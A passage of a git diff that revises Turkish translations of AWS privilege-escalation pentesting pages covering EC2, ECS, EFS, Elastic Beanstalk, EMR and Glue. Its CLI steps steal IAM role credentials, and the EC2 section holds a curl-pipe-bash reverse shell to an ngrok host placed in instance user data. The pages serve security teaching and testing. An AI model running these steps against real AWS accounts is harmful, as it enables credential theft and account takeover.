yükselmesi de dahil olmak üzere Cognito'ya farklı saldırılar uygulayan bir python CLI aracıdır. #### Kurulum ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md index 9d15e6ce9..4bbd8327f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md @@ -4,7 +4,7 @@ ## datapipeline -Datapipeline hakkında daha fazla bilgi için kontrol edin: +datapipeline hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -12,11 +12,11 @@ Datapipeline hakkında daha fazla bilgi için kontrol edin: ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline` -Bu **izinlere sahip kullanıcılar, atanan rolün izinlerini kullanarak rastgele komutlar çalıştırmak için bir Data Pipeline oluşturup ayrıcalıkları artırabilir:** +Bu **izinlere sahip kullanıcılar, atanan rolün izinlerini kullanarak rastgele komutlar çalıştırmak için bir Data Pipeline oluşturarak ayrıcalıkları artırabilir:** ```bash aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string ``` -Pipeline oluşturulduktan sonra, saldırgan belirli eylemleri veya kaynak oluşturma işlemlerini belirlemek için tanımını günceller: +Pipeline oluşturulduktan sonra, saldırgan belirli eylemleri veya kaynak oluşturmayı belirlemek için tanımını günceller: ```json { "objects": [ @@ -50,14 +50,14 @@ Pipeline oluşturulduktan sonra, saldırgan belirli eylemleri veya kaynak oluşt } ``` > [!NOTE] -> **14, 15 ve 27. satırlardaki** **rolün** **datapipeline.amazonaws.com** tarafından üstlenilebilir bir rol olması gerektiğini unutmayın ve **28. satırdaki** rolün **ec2.amazonaws.com tarafından üstlenilebilir bir rol olması gerektiğini ve bir EC2 profil örneği ile** olması gerektiğini unutmayın. +> **14, 15 ve 27. satırdaki** **rolün** **datapipeline.amazonaws.com** tarafından **üstlenilebilir** bir rol olması gerektiğini unutmayın ve **28. satırdaki** rolün **ec2.amazonaws.com tarafından üstlenilebilir bir rol ve bir EC2 profil örneği** olması gerektiğini unutmayın. > > Ayrıca, EC2 örneği yalnızca EC2 örneği tarafından üstlenilebilir role erişime sahip olacaktır (bu nedenle yalnızca o rolü çalabilirsiniz). ```bash aws datapipeline put-pipeline-definition --pipeline-id \ --pipeline-definition file:///pipeline/definition.json ``` -**Saldırgan tarafından oluşturulan pipeline tanım dosyası, komutları yürütmek veya AWS API'si aracılığıyla kaynaklar oluşturmak için direktifler içerir, Data Pipeline'ın rol izinlerini kullanarak potansiyel olarak ek ayrıcalıklar elde etme imkanı sağlar.** +Saldırgan tarafından oluşturulan **pipeline tanım dosyası, komutları çalıştırmak veya kaynaklar oluşturmak için AWS API'sini kullanma talimatlarını içerir**, Data Pipeline'ın rol izinlerini kullanarak potansiyel olarak ek ayrıcalıklar elde etme amacı taşır. **Potansiyel Etki:** Belirtilen ec2 hizmet rolüne doğrudan ayrıcalık yükseltme. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md index b29d3f89f..8202ff030 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md @@ -23,10 +23,10 @@ AD'den kullanıcıların giriş yapabileceği bir **uygulama erişim URL'si** et
-Ve ardından giriş yaptıklarında onlara bir **AWS IAM rolü** vermek, bu şekilde bir AD kullanıcısı/grubu AWS yönetim konsoluna erişim sağlayacaktır: +Ve ardından giriş yaptıklarında onlara **bir AWS IAM rolü** vermek, bu şekilde bir AD kullanıcısı/grubu AWS yönetim konsoluna erişim sağlayacaktır:
-Görünüşe göre uygulama erişim URL'sini etkinleştirmek, AWS Yönetim Konsolu'nu ve izin vermeyi sağlamak için herhangi bir yol yoktur. +Görünüşe göre uygulama erişim URL'sini etkinleştirmek, AWS Yönetim Konsolu'nu ve izin vermek için herhangi bir yol yoktur. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index 84d2ed887..c386ec0d0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -12,7 +12,7 @@ Dynamodb hakkında daha fazla bilgi için kontrol edin: ### Post Exploitation -Bildigim kadarıyla, sadece bazı AWS `dynamodb` izinlerine sahip olarak AWS'de **yetki yükseltmenin doğrudan bir yolu yoktur**. Tabloalardan **hassas** bilgileri okuyabilir (AWS kimlik bilgilerini içerebilir) ve tablolara **bilgi yazabilirsiniz** (bu, diğer güvenlik açıklarını tetikleyebilir, örneğin lambda kod enjeksiyonları...) ancak bu seçeneklerin hepsi **DynamoDB Post Exploitation sayfasında** zaten dikkate alınmıştır: +Bildigim kadarıyla, sadece bazı AWS `dynamodb` izinlerine sahip olarak AWS'de **yetki yükseltmenin doğrudan bir yolu yoktur**. Tabloalardan **hassas** bilgileri okuyabilir (bu bilgiler AWS kimlik bilgilerini içerebilir) ve tablolara **bilgi yazabilirsiniz** (bu, diğer güvenlik açıklarını tetikleyebilir, örneğin lambda kod enjeksiyonları...) ancak bu seçeneklerin hepsi **DynamoDB Post Exploitation sayfasında** zaten dikkate alınmıştır: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md index ed8e5051f..a422816fc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md @@ -6,7 +6,7 @@ ### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` -Bu izinlere sahip bir saldırgan, **hacim anlık görüntülerini yerel olarak indirme ve analiz etme** yeteneğine sahip olacak ve bunlarda hassas bilgileri (gizli anahtarlar veya kaynak kodu gibi) arayabilecektir. Bunu nasıl yapacağınızı bulmak için: +Bu izinlere sahip bir saldırgan, **hacim anlık görüntülerini yerel olarak indirme ve analiz etme** yeteneğine sahip olabilir ve bunlarda hassas bilgileri (şifreler veya kaynak kodu gibi) arayabilir. Bunu nasıl yapacağınızı öğrenin: {{#ref}} ../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -20,7 +20,7 @@ Bu izinlere sahip bir saldırgan, **hacim anlık görüntülerini yerel olarak i ### **`ec2:CreateSnapshot`** -**`EC2:CreateSnapshot`** iznine sahip herhangi bir AWS kullanıcısı, **Etki Alanı Denetleyicisinin anlık görüntüsünü** oluşturarak tüm etki alanı kullanıcılarının hash'lerini çalabilir, bunu kontrol ettikleri bir örneğe monte ederek ve **NTDS.dit ve SYSTEM** kayıt defteri hibe dosyasını Impacket'in secretsdump projesi ile kullanmak üzere dışa aktararak gerçekleştirebilir. +**`EC2:CreateSnapshot`** iznine sahip herhangi bir AWS kullanıcısı, **Etki Alanı Denetleyicisinin anlık görüntüsünü** oluşturarak tüm etki alanı kullanıcılarının hash'lerini çalabilir, bunu kontrol ettikleri bir örneğe monte ederek ve **NTDS.dit ve SYSTEM** kayıt defteri hibe dosyasını Impacket'in secretsdump projesi ile kullanmak üzere dışa aktararak yapabilir. Bu aracı saldırıyı otomatikleştirmek için kullanabilirsiniz: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) veya bir anlık görüntü oluşturduktan sonra önceki tekniklerden birini kullanabilirsiniz. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 1297a1ef7..0ccfe7f1f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -12,11 +12,11 @@ Daha fazla **EC2 hakkında bilgi** için kontrol edin: ### `iam:PassRole`, `ec2:RunInstances` -Bir saldırgan **bir IAM rolü ekleyerek bir örnek oluşturabilir ve ardından örneğe erişerek IAM rolü kimlik bilgilerini metadata uç noktasından çalabilir.** +Bir saldırgan **bir IAM rolü ekleyerek bir örnek oluşturabilir ve ardından örneğe erişerek** IAM rolü kimlik bilgilerini metadata uç noktasından çalabilir. - **SSH ile Erişim** -Yeni bir örnek çalıştırarak **oluşturulmuş** **ssh anahtarı** (`--key-name`) kullanın ve ardından buna ssh ile bağlanın (yeni bir tane oluşturmak istiyorsanız `ec2:CreateKeyPair` iznine sahip olmanız gerekebilir). +Yeni bir örnek başlatın ve **oluşturulmuş** **ssh anahtarını** kullanarak (`--key-name`) ssh ile bağlanın (yeni bir tane oluşturmak istiyorsanız `ec2:CreateKeyPair` iznine sahip olmanız gerekebilir). ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ --iam-instance-profile Name= --key-name \ @@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ ``` - **Kullanıcı verisinde rev shell ile erişim** -Yeni bir örnek çalıştırabilirsiniz, bu örnek **kullanıcı verisi** (`--user-data`) kullanarak size bir **rev shell** gönderecektir. Bu şekilde güvenlik grubunu belirtmenize gerek yoktur. +Yeni bir örnek çalıştırabilirsiniz, bu **kullanıcı verisi** (`--user-data`) size bir **rev shell** gönderecektir. Bu şekilde güvenlik grubunu belirtmenize gerek yoktur. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -65,7 +65,7 @@ Yeni EC2 örneğinde **ECS hizmetlerini çalıştırmayı zorlamak** için öğr aws-ecs-privesc.md {{#endref}} -Eğer **yeni bir örnek oluşturamıyorsanız** ancak `ecs:RegisterContainerInstance` iznine sahipseniz, örneği küme içinde kaydedebilir ve yorumlanan saldırıyı gerçekleştirebilirsiniz. +Eğer **yeni bir örnek oluşturamıyorsanız** ancak `ecs:RegisterContainerInstance` iznine sahipseniz, örneği küme içinde kaydedebilir ve belirtilen saldırıyı gerçekleştirebilirsiniz. **Olası Etki:** Görevlerle ilişkilendirilmiş ECS rollerine doğrudan privesc. @@ -80,25 +80,25 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -Eğer **örnek profil bir role sahipse** ve saldırgan **bunu kaldıramıyorsa**, başka bir çözüm yolu vardır. O, **rolü olmayan** bir **örnek profili bulabilir** veya **yeni bir tane oluşturabilir** (`iam:CreateInstanceProfile`), **rolü** o **örnek profiline** ekleyebilir (daha önce tartışıldığı gibi) ve **örnek profilini** ele geçirilmiş bir **örneğe** ilişkilendirebilir: +Eğer **örnek profil bir role sahipse** ve saldırgan **bunu kaldıramıyorsa**, başka bir çözüm yolu vardır. O, **rolü olmayan bir örnek profili bulabilir** veya **yeni bir tane oluşturabilir** (`iam:CreateInstanceProfile`), **rolü** o **örnek profiline** ekleyebilir (daha önce tartışıldığı gibi) ve **örnek profilini** ele geçirilmiş bir **örneğe** ilişkilendirebilir: - Eğer örnek **hiçbir örnek** profiline sahip değilse (`ec2:AssociateIamInstanceProfile`) \* ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan yetki yükseltme (bir AWS EC2 örneğini ele geçirmiş olmanız ve bazı ek izinlere veya belirli bir örnek profil durumuna sahip olmanız gerekir). +**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan privesc (bir AWS EC2 örneğini ele geçirmiş olmanız ve bazı ek izinlere veya belirli bir örnek profil durumuna sahip olmanız gerekir). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -Bu izinlerle, bir örneğe bağlı olan örnek profilini değiştirmek mümkündür, bu nedenle saldırı zaten bir örneğe erişim sağladıysa, ona bağlı olanı değiştirerek daha fazla örnek profil rolü için kimlik bilgilerini çalabilecektir. +Bu izinlerle, bir örneğe bağlı olan örnek profilini değiştirmek mümkündür, bu nedenle saldırgan zaten bir örneğe erişim sağladıysa, ona bağlı olanı değiştirerek daha fazla örnek profil rolü için kimlik bilgilerini çalabilecektir. -- Eğer **bir örnek profili varsa**, örnek profilini **kaldırabilir** (`ec2:DisassociateIamInstanceProfile`) ve **bağlayabilirsiniz** \* +- Eğer **bir örnek profili varsa**, örnek profilini **kaldırabilir** (`ec2:DisassociateIamInstanceProfile`) ve **iliştirebilirsiniz** \* ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- veya **kullanılmış** **örneğin profilini** ele geçirilmiş örneğin (`ec2:ReplaceIamInstanceProfileAssociation`). \* +- veya **kullanılmış** örneğin **örnek profili** (`ec2:ReplaceIamInstanceProfileAssociation`) ile **değiştirin**. \* ```` ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id @@ -108,7 +108,7 @@ aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= [!WARNING] -> Bu saldırı yalnızca **ECS kümesi EC2** örnekleri kullanıyorsa ve Fargate değilse mümkündür. +> Bu saldırı yalnızca **ECS kümesinin EC2** örneklerini kullanması durumunda mümkündür ve Fargate değil. ```bash printf '[ { @@ -144,7 +144,7 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -**`ecs:ExecuteCommand`, `ecs:DescribeTasks`** olan bir saldırgan, **çalışan bir konteynerin** içinde **komutlar çalıştırabilir** ve ona bağlı IAM rolünü dışarı sızdırabilir (bunu yapmak için `aws ecs execute-command` çalıştırmak gerekli olduğu için tanımlama izinlerine ihtiyacınız var).\ +**`ecs:ExecuteCommand`, `ecs:DescribeTasks`** olan bir saldırgan, çalışan bir konteyner içinde **komutlar çalıştırabilir** ve ona bağlı IAM rolünü dışarı sızdırabilir (bunu yapmak için `aws ecs execute-command` çalıştırmak gerekli olduğu için tanımlama izinlerine ihtiyacınız var).\ Ancak, bunu yapmak için konteyner örneğinin **ExecuteCommand ajanını** çalıştırıyor olması gerekir (varsayılan olarak değildir). Bu nedenle, saldırgan şunları denemek isteyebilir: @@ -174,7 +174,7 @@ aws ecs execute-command --interactive \ Bu **seçeneklerin örneklerini** **önceki ECS privesc bölümlerinde** bulabilirsiniz. -**Potansiyel Etki:** Konteynerlere bağlı farklı bir role privesc. +**Olası Etki:** Farklı bir role privesc, konteynerlere eklenmiş. ### `ssm:StartSession` @@ -227,7 +227,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**Potansiyel Etki**: Etkilenen hizmette rastgele kod çalıştırmak, muhtemelen işlevselliğini etkileyebilir veya hassas verileri dışarı sızdırabilir. +**Olası Etki**: Etkilenen hizmette rastgele kod çalıştırmak, muhtemelen işlevselliğini etkileyebilir veya hassas verileri dışarı sızdırabilir. ## Referanslar diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md index 50f9b6c90..63459c7cb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md @@ -10,7 +10,7 @@ Daha fazla **EFS hakkında bilgi** için: ../aws-services/aws-efs-enum.md {{#endref}} -EFS'yi bağlamak için, EFS'nin açıldığı bir alt ağda olmanız ve ona erişiminizin olması gerektiğini unutmayın (güvenlik grupları). Eğer bu gerçekleşiyorsa, varsayılan olarak, her zaman onu bağlayabileceksiniz, ancak IAM politikalarıyla korunuyorsa, ona erişmek için burada belirtilen ek izinlere sahip olmanız gerekir. +Bir EFS'yi bağlamak için, EFS'nin açık olduğu bir alt ağda olmanız ve ona erişiminizin olması gerektiğini unutmayın (güvenlik grupları). Bu gerçekleşiyorsa, varsayılan olarak, her zaman onu bağlayabileceksiniz, ancak IAM politikalarıyla korunuyorsa, ona erişmek için burada belirtilen ek izinlere sahip olmanız gerekir. ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` @@ -58,29 +58,29 @@ Bu izinle bir saldırgan **EFS'yi monte edebilir**. Eğer yazma izni, EFS'yi mon sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ ``` -Ekstra izinler `elasticfilesystem:ClientRootAccess` ve `elasticfilesystem:ClientWrite`, dosya sistemi monte edildikten sonra **yazmak** ve bu dosya sistemine **root** olarak **erişmek** için kullanılabilir. +`elasticfilesystem:ClientRootAccess` ve `elasticfilesystem:ClientWrite` ek izinleri, dosya sistemi monte edildikten sonra içinde **yazmak** ve bu dosya sistemine **root** olarak **erişmek** için kullanılabilir. -**Olası Etki:** Dosya sisteminde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme. +**Olası Etki:** Dosya sisteminde hassas bilgileri bulma yoluyla dolaylı yetki artırma. ### `elasticfilesystem:CreateMountTarget` -Eğer bir saldırgan **alt ağda** EFS'nin **hiçbir montaj hedefi** yoksa, bu yetki ile **kendi alt ağında bir tane oluşturabilir.** +Eğer bir saldırgan **alt ağda** ise ve EFS'nin **hiçbir montaj hedefi** yoksa, bu yetkiyle **kendi alt ağında bir tane oluşturabilir**. ```bash # You need to indicate security groups that will grant the user access to port 2049 aws efs create-mount-target --file-system-id \ --subnet-id \ --security-groups ``` -**Potansiyel Etki:** Dosya sisteminde hassas bilgilerin bulunmasıyla dolaylı yetki yükseltme. +**Potansiyel Etki:** Dosya sisteminde hassas bilgileri bulma yoluyla dolaylı yetki artırma. ### `elasticfilesystem:ModifyMountTargetSecurityGroups` -Bir saldırganın EFS'nin kendi alt ağında bir montaj hedefi bulduğu ancak **hiçbir güvenlik grubunun trafiğe izin vermediği** bir senaryoda, **seçilen güvenlik gruplarını değiştirerek bunu değiştirebilir:** +Bir saldırganın EFS'nin alt ağında bir montaj hedefi bulduğu ancak **hiçbir güvenlik grubunun trafiğe izin vermediği** bir senaryoda, **seçilen güvenlik gruplarını değiştirerek bunu değiştirebilir:** ```bash aws efs modify-mount-target-security-groups \ --mount-target-id \ --security-groups ``` -**Olası Etki:** Dosya sisteminde hassas bilgileri bulma yoluyla dolaylı yetki artırma. +**Olası Etki:** Dosya sisteminde hassas bilgilerin bulunmasıyla dolaylı ayrıcalık yükseltme. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md index bf4f2dafc..b6ed35d0d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md @@ -15,7 +15,7 @@ Daha fazla **Elastic Beanstalk hakkında bilgi** için: ### `elasticbeanstalk:RebuildEnvironment`, S3 yazma izinleri ve daha fazlası -**Ortamın kodunu içeren S3 bucket'ında yazma izinleri** ve uygulamayı **yeniden inşa etme** izinleri (bunun için `elasticbeanstalk:RebuildEnvironment` ve `S3`, `EC2` ve `Cloudformation` ile ilgili birkaç izin gereklidir) ile **kodunuzu değiştirebilir**, uygulamayı **yeniden inşa edebilir** ve uygulamaya eriştiğinizde bu, **yeni kodunuzu çalıştıracaktır**, bu da saldırganın uygulamayı ve IAM rol kimlik bilgilerini tehlikeye atmasına olanak tanır. +**Ortamın kodunu içeren S3 bucket'ında yazma izinleri** ve uygulamayı **yeniden inşa etmek** için izinler (gerekli olan `elasticbeanstalk:RebuildEnvironment` ve `S3`, `EC2` ve `Cloudformation` ile ilgili birkaç tane daha) ile **kodunuzu değiştirebilir**, uygulamayı **yeniden inşa edebilir** ve uygulamaya eriştiğinizde bu, **yeni kodunuzu çalıştıracaktır**, bu da saldırganın uygulamayı ve IAM rol kimlik bilgilerini tehlikeye atmasına olanak tanır. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -38,11 +38,11 @@ Bahsedilenler ve birkaç **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`* ```bash aws elasticbeanstalk create-application --application-name MyApp ``` -- AWS Elastic Beanstalk ortamı oluşturun ([**desteklenen platformlar**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): +- Bir AWS Elastic Beanstalk ortamı oluşturun ([**desteklenen platformlar**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` -Eğer bir ortam zaten oluşturulmuşsa ve **yeni bir tane oluşturmak istemiyorsanız**, mevcut olanı **güncelleyebilirsiniz**. +Eğer bir ortam zaten oluşturulmuşsa ve **yeni bir tane oluşturmak istemiyorsanız**, mevcut olanı sadece **güncelleyebilirsiniz**. - Uygulama kodunuzu ve bağımlılıklarını bir ZIP dosyasına paketleyin: ```python @@ -111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -Kendi **Beanstalk ortamınızda** rev shell'inizi çalıştırdıktan sonra, bunu **kurbanın** ortamına **taşımak** için zamanıdır. Bunu yapmak için, beanstalk S3 bucket'ınızın **Bucket Politikasını** **güncellemeniz** gerekiyor, böylece **kurban buna erişebilir** (Bu, Bucket'ı **HERKES** için **açacaktır**): +Kendi **Beanstalk ortamınızda** rev shell'inizi çalıştırdıktan sonra, bunu **kurbanın** ortamına **taşımak** için zamanıdır. Bunu yapmak için, beanstalk S3 bucket'ınızın **Bucket Politikasını** **kurbanın erişebilmesi** için **güncellemeniz** gerekiyor (Bu, Bucket'ı **HERKES** için **açacaktır**): ```json { "Version": "2008-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md index f1e1af9c9..00a335db9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md @@ -13,7 +13,7 @@ Daha fazla **EMR hakkında bilgi** için: ### `iam:PassRole`, `elasticmapreduce:RunJobFlow` Bu izinlere sahip bir saldırgan **EC2 rollerini ekleyerek yeni bir EMR kümesi çalıştırabilir** ve kimlik bilgilerini çalmaya çalışabilir.\ -Bunu yapmak için **hesaba ithal edilmiş bazı ssh özel anahtarlarını bilmeniz** veya birini ithal etmeniz ve **ana düğümde port 22'yi açabilmeniz** gerektiğini unutmayın (bunu `--ec2-attributes` içindeki `EmrManagedMasterSecurityGroup` ve/veya `ServiceAccessSecurityGroup` öznitelikleri ile yapabilirsiniz). +Bunu yapmak için **hesaba ithal edilmiş bazı ssh özel anahtarlarını bilmeniz** veya bir tane ithal etmeniz ve **ana düğümde port 22'yi açabilmeniz** gerektiğini unutmayın (bunu `--ec2-attributes` içindeki `EmrManagedMasterSecurityGroup` ve/veya `ServiceAccessSecurityGroup` öznitelikleri ile yapabilirsiniz). ```bash # Import EC2 ssh key (you will need extra permissions for this) ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" @@ -36,7 +36,7 @@ aws emr describe-cluster --cluster-id # In MasterPublicDnsName you can find the DNS to connect to the master instance ## You cna also get this info listing EC2 instances ``` -Not edin ki bir **EMR rolü** `--service-role` içinde ve bir **ec2 rolü** `--ec2-attributes` içinde `InstanceProfile`'da belirtilmiştir. Ancak, bu teknik yalnızca EC2 rolü kimlik bilgilerini çalmaya izin verir (çünkü ssh üzerinden bağlanacaksınız) ama EMR IAM Rolü'nü çalamaz. +Not edin ki bir **EMR rolü** `--service-role` içinde belirtilmiştir ve bir **ec2 rolü** `--ec2-attributes` içinde `InstanceProfile`'da belirtilmiştir. Ancak, bu teknik yalnızca EC2 rolü kimlik bilgilerini çalmaya izin verir (çünkü ssh üzerinden bağlanacaksınız) ama EMR IAM Rolü'nü çalamaz. **Olası Etki:** Belirtilen EC2 hizmet rolüne privesc. @@ -45,7 +45,7 @@ Not edin ki bir **EMR rolü** `--service-role` içinde ve bir **ec2 rolü** `--e Bu izinlerle bir saldırgan **AWS konsoluna** gidebilir, bir Notebook oluşturabilir ve IAM Rolünü çalmak için erişebilir. > [!CAUTION] -> Notebook örneğine bir IAM rolü eklesem de, testlerimde AWS yönetilen kimlik bilgilerini çalabildiğimi ve ilgili IAM rolüne ait kimlik bilgilerini çalamadığımı fark ettim. +> Notebook örneğine bir IAM rolü eklesem de, testlerimde AWS yönetilen kimlik bilgilerini çalmayı başardığımı ve IAM rolü ile ilgili kimlik bilgilerini çalamadığımı fark ettim. **Olası Etki:** AWS yönetilen rolüne privesc arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile @@ -55,7 +55,7 @@ Sadece bu izinle bir saldırgan **Jupyter Notebook'a erişebilir ve ona bağlı Notebook'un URL'si `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` > [!CAUTION] -> Notebook örneğine bir IAM rolü eklesem de, testlerimde AWS yönetilen kimlik bilgilerini çalabildiğimi ve ilgili IAM rolüne ait kimlik bilgilerini çalamadığımı fark ettim. +> Notebook örneğine bir IAM rolü eklesem de, testlerimde AWS yönetilen kimlik bilgilerini çalmayı başardığımı ve IAM rolü ile ilgili kimlik bilgilerini çalamadığımı fark ettim. **Olası Etki:** AWS yönetilen rolüne privesc arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md index c02e27df9..f61812d0a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md @@ -4,7 +4,7 @@ ### `gamelift:RequestUploadCredentials` -Bu izinle bir saldırgan, Amazon GameLift'in Amazon S3'üne yeni bir oyun yapım dosyası yüklerken kullanmak için **yeni bir kimlik bilgisi seti alabilir**. **S3 yükleme kimlik bilgilerini** döndürecektir. +Bu izinle bir saldırgan, Amazon GameLift'in Amazon S3'üne yeni bir oyun yapı dosyası seti yüklerken kullanmak için **yeni bir kimlik bilgisi seti alabilir**. **S3 yükleme kimlik bilgilerini** döndürecektir. ```bash aws gamelift request-upload-credentials \ --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md index f84574259..93b4d2750 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md @@ -6,7 +6,7 @@ ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Bu izinlere sahip kullanıcılar, **mevcut bir hizmet rolünü Glue tarafından üstlenilebilir şekilde atayarak yeni bir AWS Glue geliştirme uç noktası kurabilirler**. +Bu izinlere sahip kullanıcılar, **yeni bir AWS Glue geliştirme uç noktası kurabilir**, **bu uç noktaya belirli izinlere sahip olan mevcut bir hizmet rolünü atayabilir**. Kurulumdan sonra, **saldırgan uç noktanın örneğine SSH ile bağlanabilir** ve atanan rolün IAM kimlik bilgilerini çalabilir: ```bash @@ -22,7 +22,7 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` -Gizlilik amacıyla, Glue sanal makinesi içinden IAM kimlik bilgilerini kullanmanız önerilir. +Gizlilik amacıyla, Glue sanal makinesi içindeki IAM kimlik bilgilerini kullanmanız önerilir. **Olası Etki:** Belirtilen glue hizmet rolüne privesc. @@ -45,7 +45,7 @@ ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -**`iam:PassRole`** ile birlikte **`glue:CreateJob` veya `glue:UpdateJob`** ve **`glue:StartJobRun` veya `glue:CreateTrigger`** yetkilerine sahip kullanıcılar, 